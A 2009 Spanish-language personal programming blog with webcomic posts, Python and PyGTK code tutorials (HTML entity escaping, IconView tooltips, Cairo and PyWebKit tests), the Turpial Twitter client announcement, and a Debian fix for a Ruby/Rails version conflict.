Webcomic - Deseo

miércoles, diciembre 30, 2009

El comic de hoy va dedicado a mi pana Renata Franco, sé que se sentirá muy identificada xDDDD. Enjoy it.

Click para agrandar


Webcomic - Jamón Endiablado

martes, diciembre 29, 2009

Empezando con una faceta que tenía tieeeempo con ganas de cristalizar pero que había estado procrastinando, finalmente se ha materializado... mi primer webcomic xD. Ahí les va

Click para agrandar



Si te gustó, comentalo... sino también xD

Codificar y decodificar entidades HTML en Python

jueves, diciembre 24, 2009

Aunque es una tarea vulgar y silvestre, en Python no existe algo "obvio" para codificar y decodificar entidades HTML. Me gustaría encontrar cosas como htmllib.decode() o htmllib.encode(), pero no existen. He visto en la web muchos (entiéndase MUCHOS) códigos y hasta expresiones regulares para completar esta tarea, pero son soluciones rebuscadas y que requieren invertir mucho tiempo.

Lo mío es a la Python-way: sencillo, elegante y limpio, y saxutils hace el trabajo a la perfección.

Basta con importar la librería y usar las funciones escape (para codificar) y unescape (para decodificar):

import xml.sax.saxutils as saxutils
print saxutils.escape("Codificando entidades HTML: & > <")

print saxutils.unescape("Decodificando entidades HTML: &gt; &amp; &lt;")


Esto imprimirá en pantalla algo como:
Codificando entidades HTML: &amp; &gt; &lt;
Decodificando entidades HTML: > & <


Simple, pero a veces no lo vemos a la primera. Espero que sea de utilidad este consejo

Tooltip en PyGTK para un IconView (insertado en un ScrolledWindow)

jueves, diciembre 03, 2009

Luego de pasar toda una tarde reventándome la cabeza y tomando psicotrópicos leyendo la documentación oficial de PyGTK y haciendo pruebas, logré conseguir mi objetivo: Mostrar un miserable tooltip sensible en un IconView usando la nueva API para Tooltips de PyGTK >= 2.12.

La forma antigua y tradicional de hacer un Tooltip era más rudimentaria; incluso habían formas que involucraban conectarse al evento 'motion-notify-event' del widget, obtener la celda en cuestión en base a la posición del ratón y crear la ventana a pie para luego mostrarla. Sin mencionar que era necesario manejar el tiempo de aparición del tooltip usando un timer y la desaparición del tooltip actual antes de mostrar uno nuevo. Nada trivial en realidad, pero así lo implementé en varias ocasiones.

La nueva API reduce todo el proceso a 3 simples pasos:
  • Establecer la propiedad has-tooltip del widget a True para que GTK pueda monitorear los eventos de movimiento relacionados con el tooltip
  • Conectarse a la señal 'query-tooltip' del widget. Esta señal será emitida cuando el tooltip deba ser mostrado. Uno de los argumentos pasados a la señal es un objeto Tooltip correspondiente al widget. Solo queda de nuestra parte modificarlo
  • Retornar True desde el callback que maneja la señal 'query-tooltip' para mostrar el tooltip o False para que no se muestre

Sencillo, ¿eh?. La API es realmente buena y facilita un montón la creación de un Tooltip, de hecho es tan sencillo que parace increible xD. Pero... se les pasó un pequeño detalle... las ventanas de desplazamiento (ScrolledWindow).

Cuando se usa un widget que es o será más grande que el espacio disponible para dibujarlo (TreeView, TextView, IconView, etc) se debe emplear un ventana con scroll (ScrolledWindow) e insertar el widget dentro de ella. La ScrolledWindow se encargará de manejar eso de los scrollbars, el viewport, etc, etc, etc (si no entiendes de que estoy hablando te recomiendo leer este apartado del tutorial de PyGTK). Muy bonito todo... hasta ahora.

El problema aparece cuando queremos mostrar un tooltip sensible para un IconView/TreeView (es decir, que el tooltip mostrará información diferente para cada elemento del contenedor) pues la famosa señal 'query-tooltip' dentro de sus argumentos pasa la posición RELATIVA del cursor mediante x e y:

def callback(widget, x, y, keyboard_mode, tooltip, user_param1, ...)

¿Qué significa la 'posición relativa del cursor'? Pues, en un widget sin scroll es la posición exácta del cursor sobre ese widget, pero en un widget con scroll ocurre lo siguiente:



La señal 'query-tooltip' nos devuelve lo que en la imagen se ve como X e Y, es decir la posición del elemento relativa al ScrolledWindow. Bien.

Ahora, para saber a cual elemento del IconView estamos haciendo referencia hace falta conocer las coordenadas del elemento (relativas al IconView) y ubicar en el modelo el registro correspondiente.

¿Cómo demonios vamos a obtener el elemento del IconView si la señal nos devuelve unas coordenadas que no nos sirven? ¿Cómo rayos obtenemos los valores de Z y W para referenciar al objeto correctamente?

Pues he aquí la solución, y es más fácil de lo que parece. El código se explica con los comentarios.

# -*- coding: utf-8 -*-

import gtk

class PruebaTooltip:
    def __init__(self):
        # Creamos nuestro modelo con 2 campos, uno para la imagen y otro para 
        # la descripción
        self.model = gtk.ListStore(gtk.gdk.Pixbuf, str)
        
        # Creamos el IconView
        self.iconview = gtk.IconView(self.model)
        # Le decimos que la imagen la sacará de la primera columna
        self.iconview.set_pixbuf_column(0)
        # Habilitamos el nuevo soporte de la API para tooltips
        self.iconview.set_has_tooltip(True)
        self.iconview.set_orientation(gtk.ORIENTATION_VERTICAL)
        self.iconview.set_selection_mode(gtk.SELECTION_SINGLE)
        self.iconview.set_column_spacing(10)
        self.iconview.set_columns(6)
        self.iconview.set_item_width(50)
        # Nos conectamos a la señal 'query-tooltip'
        self.iconview.connect("query-tooltip", self.show_tooltip)
        
        # Creamos el ScrolledWindow y le insertamos el IconView
        self.scrollwin = gtk.ScrolledWindow()
        self.scrollwin.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
        self.scrollwin.set_shadow_type(gtk.SHADOW_IN)
        self.scrollwin.add(self.iconview)
        
        vbox = gtk.VBox(False, 5)
        vbox.pack_start(self.scrollwin, True, True, 0)
        
        # Creamos una ventana simple y le agregamos la caja que contiene la
        # ScrolledWindow y todo lo demás
        self.window = gtk.Window()
        self.window.set_title('Tooltip de in IconView como debe ser')
        self.window.set_default_size(300, 300)
        self.window.set_position(gtk.WIN_POS_CENTER)
        self.window.connect('destroy', gtk.main_quit)
        self.window.add(vbox)
        self.window.show_all()
        
        # Creamos unos cuantos elementos dentro del modelo (esto es solo con 
        # fines ilustrativos, pues en teoría debería llenarse desde otra parte)
        for i in range(30):
            label = 'Tooltip del Elemento %i' % (i + 1)
            pix = self.window.render_icon(gtk.STOCK_ABOUT, gtk.ICON_SIZE_DIALOG)
            self.model.append([pix, label])
        del pix
    
    # Esta es la parte ruda xD
    # Nuestro callback para la señal 'query-tooltip'
    def show_tooltip(self, widget, x, y, keyboard_mode, tooltip):
        # Calculamos el offset (w y x), es decir la diferencia entre el origen 
        # del ScrolledWindow y el IconView. Para eso usamos el valor de cada uno
        # de los scrollbar. Simple ¿no?. Pues después de los psicotrópicos lo
        # ví muy sencillo :P
        w = self.scrollwin.get_property('hadjustment').value
        z = self.scrollwin.get_property('vadjustment').value
        
        # Ubicamos la ruta del elemento según la posición 'exácta' del cursor
        # sobre el IconView
        path = widget.get_path_at_pos(int(x + w), int(y + z))
        if path is None: return False
        
        model = widget.get_model()
        
        # Obtenemos el elemento mediante el modelo y la ruta
        iter = model.get_iter(path)
        
        # Obtenemos la imagen y la descripción guardada en el modelo
        pix = model.get_value(iter, 0)
        desc = model.get_value(iter, 1)
        # Establecemos la imagen del tooltip
        tooltip.set_icon(pix)
        # Establecemos el texto del tooltip (con soporte para marcado pango :D)
        tooltip.set_markup(desc)
        # Borramos la imagen para no dejar basura regada
        del pix
        
        # Devolvemos True para que se muestre el Tooltip y seamos felices weee!
        return True
        
if __name__ == "__main__":
    PruebaTooltip()
    gtk.main()

Al final veremos algo así:



Pues sí, eso es todo... una simple suma. Lo que me reventó el coco fue saber de donde diablos sacar los valores de W y Z (los offset). Espero que hayan podido leer este post antes de pensar en implementar los Tooltips a la Old-Fashion Way e incluso antes de pensar en el suicidio xD.

Cambio y fuera

Turpial: Un cliente Twitter para GNU/Linux con todos los hierros

miércoles, noviembre 18, 2009


Turpial es un cliente Twitter multi-interfaz escrito en Python que he estado desarrollando con el pana Eleazar Meza, orientado a ser una alternativa a los clientes Twitter más populares para GNU/Linux (aunque por su naturaleza también puede correr bajo otras plataformas).

La idea surgió hace poco más de 2 semanas y no son solo ganas de reinventar la rueda (considerando que DestroyTwitter, TweetDeck et al. están disponibles para Linux), sino que se quiere lograr un cliente que también corra en entornos de escritorio ligeros como Fluxbox, OpenBox, etc (pensando en las netbooks), ya que Adobe Air solo corre en KDE/GNOME y la mayoría de los cliente basados en GTK son soluciones asquerosamente simples que carecen de una gran cantidad de funciones.

Su nombre proviene del ave nacional de Venezuela (el turpial) y está inspirado principalmente por la sencillez y la funcionalidad de DestroyTwitter pero con el objetivo de tener varias interfaces: una interfaz en línea de comandos, una GTK pura y una más innovadora y bleeding-edge usando diferentes recursos y tecnologías como Cairo y Webkit, entre otras.

Actualmente Turpial se encuentra en estado de desarrollo intenso, por lo que pueden presentarse errores y fallos inesperados. Sin embargo, se invita a los valientes y verdaderos geeks la comunidad en general a que prueben Turpial y si detectan algún fallo lo reporten a cualquiera de las siguientes direcciones:

wil.alejandro at gmail.com < Wil Alvarez >
meza.eleazar at gmail.com < Eleazar Meza >

Características

Turpial ya cuenta con soporte para las siguientes funciones:
  • Ver tweets del timeline, menciones y favoritos
  • Ver y enviar mensajes directos
  • Actualizar estado (tuitear)
  • Ver following y followers
  • Buscar personas
  • Hacer follow o unfollow a cualquier usuario
  • Mostrar trending topics
  • Hacer mute/unmute a cualquier usuario

Quedan pendientes para las próximas actualizaciones:
  • Ver tweets sobre un tópico o un hashtag seleccionado
  • Cortar URLs y subir imágenes (con soporte para agregar diferentes servicios)
  • Agrupar tweets como conversaciones
  • Mostrar listas a las que el usuario pertenece y los tweets correspondientes a cada lista
  • Guardar las preferencias del usuario

Requisitos


Turpial necesita los siguientes paquetes para funcionar correctamente:

* python >= 2.5
* python-simplejson >= 2.0.x

Una instalación estándar de Python (como la que viene en la mayoría de las distribuciones GNU/Linux) es más que suficiente. El módulo de python para simplejson se puede instalar en las distribuciones basadas en Debian con el siguiente comando (como superusuario):

# aptitude install python-simplejson

¿Cómo diablos ejecuto Turpial?


Muy fácil. Para ejecutar Turpial en un ambiente GNU/Linux basta con descargar el siguiente archivo, descomprimirlo y en la carpeta turpial ubicar el archivo turpial.py, otorgarle permisos de ejecución y ejecutarlo (como usuario regular):

$ chmod +x turpial.py
$ ./turpial.py


Al momento de esta publicación la única interfaz disponible para Turpial es la elitista, l33t, unix-like y hardcore de línea de comandos. Basta con escribir "help" en la consola para obtener una lista de comandos disponibles o "help <comando>" para una ayuda detallada para el comando seleccionado.

Comentarios, sugerencias, reportes de bugs y cualquier otra información que pueda alimentar nuestro ego será bienvenida.

Una API de Twitter para Python simplemente hermosa

domingo, noviembre 08, 2009

Mi proyecto Turpial requiere una API de Twitter para Python y los que me conocen saben que siempre me inclino por las cosas simples y minimalistas. En la búsqueda de la API adecuada me conseguí con esta joya de Mike Verdone: Python Twitter Tools.

Esta API no es tan conocida como por ejemplo python-twitter de DeWitt Clinton, pero sin duda alguna es hermosa. En poco más de 125 líneas implementa toda la funcionalidad de Twitter y además incluye un set de herramientas para probar la API desde una consola; así como también un bot IRC.

Me impresiona la simplicidad de esta API y lo bien elaborada que está. Implementa todo con una clase de un solo método que maneja todo. Es una excelente librería que se ha ganado mi respeto y admiración y por es la he elegido como API para Turpial xD.

Cualquier otra cosa que diga, estará de más. Su belleza se puede apreciar viendo su código y probándola. Recomendada 200%

Cairo, PyWebKit y PyGTK: Semana de Pruebas

jueves, octubre 22, 2009

Esta ha sido una semana de pruebas, pruebas y más pruebas. Estoy trabajando en eso de mejorar las interfaces en PyGTK y pretendo apoyarme en Cairo y WebKit. He investigado un poco de ambos; los resultados han sido alentadores.

Primera prueba de la semana: Cairo

Cairo es una librería que permite dibujar sobre un widget (canvas o lienzo). Y cuando digo dibujar, me refiero a dibujar. Trazar líneas, rectángulos, arcos y cosas por el estilo.

Lo primero que se me ocurrió hacer para probar Cairo fue un medidor. Para esto solo me haría falta un slider vertical y el canvas para dibujar. La idea es que el medidor se llene o se vacíe según el deslizamiento de la barra.

El código del medidor quedó así (se explica con los comentarios):
#!/usr/bin/python

# Ejemplo de widget con Cairo
#
# Author: Wil Alvarez (aka Satanas)
# Oct 19, 2009

import gtk
import cairo

# Creamos una clase que herede de gtk.DrawingArea para usarla como canvas
class Cpu(gtk.DrawingArea):
    def __init__(self, parent):
        self.par = parent
        gtk.DrawingArea.__init__(self)
        # Nos conectamos al evento expose, pues allí es donde ocurre toda 
        # la diversión
        self.connect('expose-event', self.expose)
        self.set_size_request(130, 200)
    
    # Este evento se ejecuta cada vez que la aplicación necesita redibujarse
    # o cuando cambiamos un valor y mandamos a redibujarla. Aquí se pintará
    # y se le dará forma al widget
    def expose(self, widget, event):
        # Aquí obtenemos el contexto de cairo
        cr = widget.window.cairo_create()
        cr.set_line_width(0.8)
        
        # Definimos un rectángulo para limitar el proceso de dibujado y así
        # optimizar la operación
        cr.rectangle(event.area.x, event.area.y, 
            event.area.width, event.area.height)
        cr.clip()
        
        cr.rectangle(0,0,130,200)
        cr.set_source_rgb(0, 0, 0)  # Establecemos el color de la brocha/pincel
        cr.fill()
        
        # Obtenemos el valor actual del slider
        x = (self.par.cur_value * 34) / 100
        
        # Dibujamos 34 barritas para el medidor y según el valor de 'x'
        # decidimos si está 'encendida' o no
        for i in range(34):
            if (i < 34 - x):
                cr.set_source_rgb(0.53, 0, 0)
            else:
                cr.set_source_rgb(1, 0, 0)
            
            h = 15 + (i*5)
            cr.rectangle(15,h,49,4)
            cr.fill()
            
            cr.rectangle(67,h,49,4)
            cr.fill()

# Creamos una ventana sencilla en PyGTK con el slider y el canvas
class PyApp(gtk.Window):
    def __init__(self):
        gtk.Window.__init__(self)
        
        self.set_title('CPU Meter')
        self.set_size_request(200, 200)
        self.set_position(gtk.WIN_POS_CENTER)
        self.connect('destroy', gtk.main_quit)

        self.cur_value = 10
       
        vbox = gtk.VBox(False, 2)
        
        scale = gtk.VScale()
        scale.set_range(0, 100)
        scale.set_digits(0)
        scale.set_size_request(35, 160)
        scale.set_value(self.cur_value)
        scale.set_inverted(True)
        scale.connect('value-changed', self.on_changed)
        
        self.cpu = Cpu(self)
        
        hbox = gtk.HBox(False)
        hbox.pack_start(self.cpu)
        hbox.pack_start(scale)
        
        vbox.pack_start(hbox, True, True, 2)

        self.add(vbox)
        self.show_all()
        
    # Programamos el evento 'value-changed' de la barra para que con cada
    # cambio mande a redibujar al widget del medidor
    def on_changed(self, widget):
        self.cur_value = widget.get_value()
        self.cpu.queue_draw()


    def get_cur_value(self):
        return self.cur_value

PyApp()
gtk.main()
Al final la aplicación quedó así:



Bastante aceptable para mi gusto. El código pueden descargarlo aquí


Segunda prueba de la semana: PyWebKit

La segunda prueba fue con PyWebKit. Esta prueba me ha frustrado un poco por la dificultad de conseguir documentación o referencias sobre la API de PyWebKit. Fue una labor árdua. Tuve que descargar varios códigos fuentes; entre ellos el de Gwibber (cliente de Twitter) y hasta el del mismísimo PyWebKit para lograr acercame a algo vagamente funcional.

El único ejemplo que traía PyWebKit era el de un navegador que soporta pestañas y otro centenar de características, por lo que no era para nada sencillo comprender su código (¿a quién se le ocurriría poner ese ejemplo? BIG FAIL! Es solo un demo, ¡rayos!... No el próximo Firefox, Opera o Safari).

El código de gwibber era de lejos más comprensible, aunque no menos complejo (se lo justifico por ser una aplicación de verdad no un ejemplo). Después de mucho leer, digerir implementaciones de controles GTK, fumarme unas cuantas lumpias y otros esoterismos, pude dar con el método que permite insertar código HTML directamente sobre el widget... el famoso load_string.

La cuestión con PyWebKit es relativamente simple, porque después que dominamos el load_string lo demás es carpintería HTML y CSS.

El código de la prueba a continuación:

#!/usr/bin/python

# Ejemplo de widget con WebKit
#
# Author: Wil Alvarez (aka Satanas)
# Oct 20, 2009

import gtk
import webkit
import gobject
gobject.threads_init()

# Codigo HTML que insertaremos al control para que lo muestre
ABOUT_PAGE = """
<html><head><title>PyWebKitGtk</title></head><body>
<h1>Mi primera prueba con PyWebKit</h1>
<p><a href="http://code.google.com/p/pywebkitgtk/">http://code.google.com/p/pywebkitgtk/</a><br/>
</p>
<div style="border: 1px solid #000; width:300px; height: 100px; background-color:#aaa;">
  zOMG! This is fucking awesome<br/><br/>
  No se que más poner en este div con estilos css  XDDD
</div>
</body></html>
"""

# Clase donde sobreecribimos el widget WebView de WebKit para implementar
# nuestro código y hacer uso del load_string para inyectar HTML directamente
# sobre el control (sin usar URI o algo similar)
class MessageStreamView(webkit.WebView):
    def __init__(self):
        webkit.WebView.__init__(self)
        self.connect("navigation-requested", self.on_click_link)
        
        self.settings = webkit.WebSettings()
        self.set_settings(self.settings)
        
        # Recibe como parámetros el código HTML, el mime-type de la página,
        # la codificación y un URI
        self.load_string(ABOUT_PAGE, "text/html", "iso-8859-15", "about")
        
    def on_click_link(self, view, frame, req):
        uri = req.get_uri()
        print uri
        return True

# Creamos una ventana simple en PyGTK con el control que acabamos de crear y 
# voilá! Tenemos nuestro widget que renderiza páginas web con el motor WebKit
class Simulador(gtk.Window):
    def __init__(self):
        gtk.Window.__init__(self)
        self.set_title('Pruebas de Gwibber, Webkit y otras shits')
        self.set_default_size(400, 400)
        self.set_position(gtk.WIN_POS_CENTER)
        self.connect('destroy', gtk.main_quit)
        
        messages = MessageStreamView()
        
        vbox = gtk.VBox(False, 5)
        vbox.pack_start(messages, True, True, 0)
        
        self.add(vbox)
        self.show_all()
    
Simulador()
gtk.main()
La ventana luce así:



Y el código pueden descargarlo aquí.

Aún no estoy muy satisfecho con la información que tengo de PyWebKit, lo mejor que he conseguido es una lista con los nombres de los métodos de la API y más nada, así que seguiré buscando.


Conslusiones

Cada librería tiene un ámbito diferente, por lo que la idea no es establecer una comparación uno a uno entre ellas, sino destacar los pro y los contra para forjar una idea de hasta donde podemos llegar con ellas.

PyWebKit

La mayor desventaja de PyWebKit es la falta de documentación. No me importaría tener una documentación vulgar, chapucera y hasta con errores ortográficos, con tal de al menos tener una! Sin embargo, para compensar eso podemos decir que PyWebKit nos otorga todo el poder y la flexibilidad de un motor de renderizado como WebKit. El límite lo pone nuestro manejo de HTML/CSS y el nivel de implementación de PyWebKit.

Cairo

Cairo tampoco tiene documentación ofical (o no la he encontrado aún) pero al menos hay unos cuantos tutoriales en la red que te dan luces acerca de su funcionamiento y sus métodos básicos. La principal ventaja de Cairo es que nos da la oportunidad de ser artistas sobre un widget xD, incluso creo que se puede usar OpenGL para acelerar el renderizado y aplicar efectos 3D... así que el límite lo pone nuestra imaginación. Pero como diría el abuelo de Peter Parker:

Un gran poder trae consigo una gran responsabilidad

Y esto es porque Cairo se utiliza en controles GTK que hacen las veces de lienzo; podemos imaginarlo como un control más de GTK pero que podemos dibujar a nuestro antojo. Esto trae una consecuencia, pensar en una aplicación desarrollada completamente con Cairo requiere una inversión de trabajo enorme (y quizás injustificada e innecesaria) pues Cairo como tal no tiene widgets, así que nos tocaría implementar desde cero cada control que queramos utilizar; entiéndase cajas de texto, etiquetas, botones y ni hablar de las listas y elementos con scroll... sería una verdadera pesadilla.

Ambas librerías tienen un enorme potencial, cada una en su ámbito y creo que la fórmula ganadora está en una buena combinación de ambas. Ni más ni menos.

Para la próxima entrega postearé las segundas pruebas con Cairo y las pruebas con DBus y el sistema de notificaciones de Ubuntu, NotifyOSD.

Referencias
[1] http://www.zetcode.com/tutorials/pygtktutorial/customwidget/
[2] http://zetcode.com/tutorials/cairographicstutorial/customgtkwidget/
[3] http://www.pygtk.org/articles/cairo-pygtk-widgets/cairo-pygtk-widgets.htm
[4] http://www.tortall.net/mu/wiki/CairoTutorial
[5] http://jackvalmadre.wordpress.com/2008/09/21/resizable-image-control/
[6] http://www.pygtk.org/articles/cairo-pygtk-widget-signals-es/cairo-pygtk-widget-signals.html
[7] http://trac.webkit.org/attachment/wiki/HackingGtk/webkit.api

Blog Action Day 2009 - Cambio Climático

jueves, octubre 15, 2009

Hoy es un día especial. Es un día en el que los blogeros de todo el mundo nos unimos a una sola voz por un fin común. Hoy 15 de Octubre de 2009 nos unimos para enfrentar uno de los problemas más urgentes que ataca a nuestro planeta... El cambio climático. Es nuestra oportunidad de llegar a cientos de miles de personas y cambiar el curso de la historia. Escribe en tu blog sobre el cambio climático. Cualquier aporte es bueno. Eso es el Blog Action Day 2009 y yo estoy dentro. Tú... ¿Qué esperas?

Cierro con una premisa muy conocida en el mundo del Software Libre y un video:

No es lo mismo adaptarse a los cambios que provocarlos




Error con Ruby 1.8 y Rails 1.2.6 en Debian Squeeze

lunes, octubre 05, 2009

Estaba yo una tarde de lo más tranquilo, programando mi sistema de compras de café verde mientras tarareaba una canciónde Bloodbath xD. En una de esas me dispongo a correr las migraciones de mi proyecto para actualizar la base de datos y para mi sorpresa ¡la migración falla!. El error (nada explícito) a continuación:

$ rake db:migrate
(in /home/satanas/proyectos/cvacafe/sicca)
rake aborted!
{:root=>"(as the the label for a named route) will become a shortcut for map.connect '', so find another name"} is not a symbol

(See full trace by running task with --trace)


Al ver la verbosidad del mensaje invoco el comando pero con la opción --trace tal como me lo sugiere la advertencia y obtengo esto:

$ rake db:migrate --trace
(in /home/satanas/proyectos/cvacafe/sicca)
** Invoke db:migrate (first_time)
** Invoke environment (first_time)
** Execute environment
rake aborted!
{:root=>"(as the the label for a named route) will become a shortcut for map.connect '', so find another name"} is not a symbol
/usr/lib/ruby/1.8/deprecated.rb:176:in `instance_method'
/usr/lib/ruby/1.8/deprecated.rb:176:in `deprecate'
/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller/routing.rb:994
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller/base.rb:4
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller.rb:37
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:166:in `require_frameworks'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:166:in `each'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:166:in `require_frameworks'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:87:in `process'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:47:in `send'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:47:in `run'
/home/satanas/proyectos/cvacafe/sicca/config/../config/environment.rb:13
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/tasks/misc.rake:3
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:617:in `call'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:617:in `execute'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:612:in `each'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:612:in `execute'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:578:in `invoke_with_call_chain'
/usr/lib/ruby/1.8/monitor.rb:242:in `synchronize'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:571:in `invoke_with_call_chain'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:588:in `invoke_prerequisites'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:585:in `each'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:585:in `invoke_prerequisites'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:577:in `invoke_with_call_chain'
/usr/lib/ruby/1.8/monitor.rb:242:in `synchronize'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:571:in `invoke_with_call_chain'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:564:in `invoke'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:2019:in `invoke_task'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1997:in `top_level'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1997:in `each'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1997:in `top_level'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:2036:in `standard_exception_handling'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1991:in `top_level'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1970:in `run'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:2036:in `standard_exception_handling'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1967:in `run'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/bin/rake:31
/usr/bin/rake:19:in `load'
/usr/bin/rake:19


Pues al igual que ustedes, quedé un poco chino con el error (a no ser que alguno de ustedes sea un Ruby developer :P), pero me puse a revisar unos archivos claves: /usr/lib/ruby/1.8/deprecated.rb en la línea 176 y /usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller/routing.rb en la línea 994 (béndito sea el Software Libre xD) y descubrí que el problema era con la llamada a una tal función deprecate que esperaba un símbolo y no sé que diablos estaba recibiendo.

Le pregunté a un amigo (que programa conmigo el mismo sistema y no tenía el problema) por sus versiones de Ruby, Rails y las gemas. Teníamos todas las versiones exactamente iguales excepto la de Ruby; yo tenía la 1.8.7.174 y él tenía la 1.8.7.72.

Sí, aunque ustedes no lo crean yo aún uso Rails 1.2.6 con Ruby 1.8 y resulta que Debian Squeeze (testing al momento de escribir esto) me actualizó el paquete de Ruby estropeando la compatibilidad de Ruby y Rails. Sí, también sé que debo migrar a Rails 2 ¡¡¡cuanto antes!!!

Bueno la cuestión la solucioné de una manera relativamente fácil, purge mi instalación de ruby:

# aptitude purge ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby

Cambié mis repositorios a los de Debian Lenny (estable para la fecha) (/etc/apt/sources.list):

deb http://ftp.us.debian.org/debian lenny main contrib non-free
deb-src http://ftp.us.debian.org/debian lenny main contrib non-free


Actualicé la lista de paquetes:

# aptitude update

Instalé nuevamente Ruby (pero la versión de Lenny):

# aptitude install ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby

Apliqué retención a todos los paquetes anteriores (para que en una futura actualización no pase lo mismo):

# aptitude hold ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby

Y volví a poner mis repos de Squeeze:

deb http://ftp.us.debian.org/debian testing main contrib non-free
deb-src http://ftp.us.debian.org/debian testing main contrib non-free


Ahora tengo mi obsoleto y anticuado Ruby 1.8.7.72 pero que me funciona de maravillas con Rails 1.2.6 xD

Cambio y fuera

Fluxbox con esteroides en Debian

sábado, septiembre 19, 2009

Fluxbox siempre me había parecido un gestor de ventanas genial, pero consideraba que aún le faltaban algunas cosas para ser un entorno de escritorio "serio", capáz de darle competencia a GNOME... Hasta hoy.

Me puse a experimentar con la mini Acer y dije... "¿Por qué no? Vamos a meterle Fluxbox a ver que tal corre" y pues, dejénme decirle que los resultados que obtuve son simplemente impresionantes.

Al momento de hacer esto lo que tenía en mente era lograr un entorno de escritorio 100% funcional (tanto o más que GNOME) pero manteniendo siempre el bajo consumo de recursos y pensando siempre en una frase que leí una vez (si mal no recuerdo en la descripción del paquete Fluxbox para Debian):

Si quiere que su escritorio se parezca a Windows entonces no use Fluxbox

Primero vamos a instalar los paquetes básicos:
# aptitude install fluxbox conky eterm pcmanfm gqview audacious wbar
Explico para qué cada cosa:

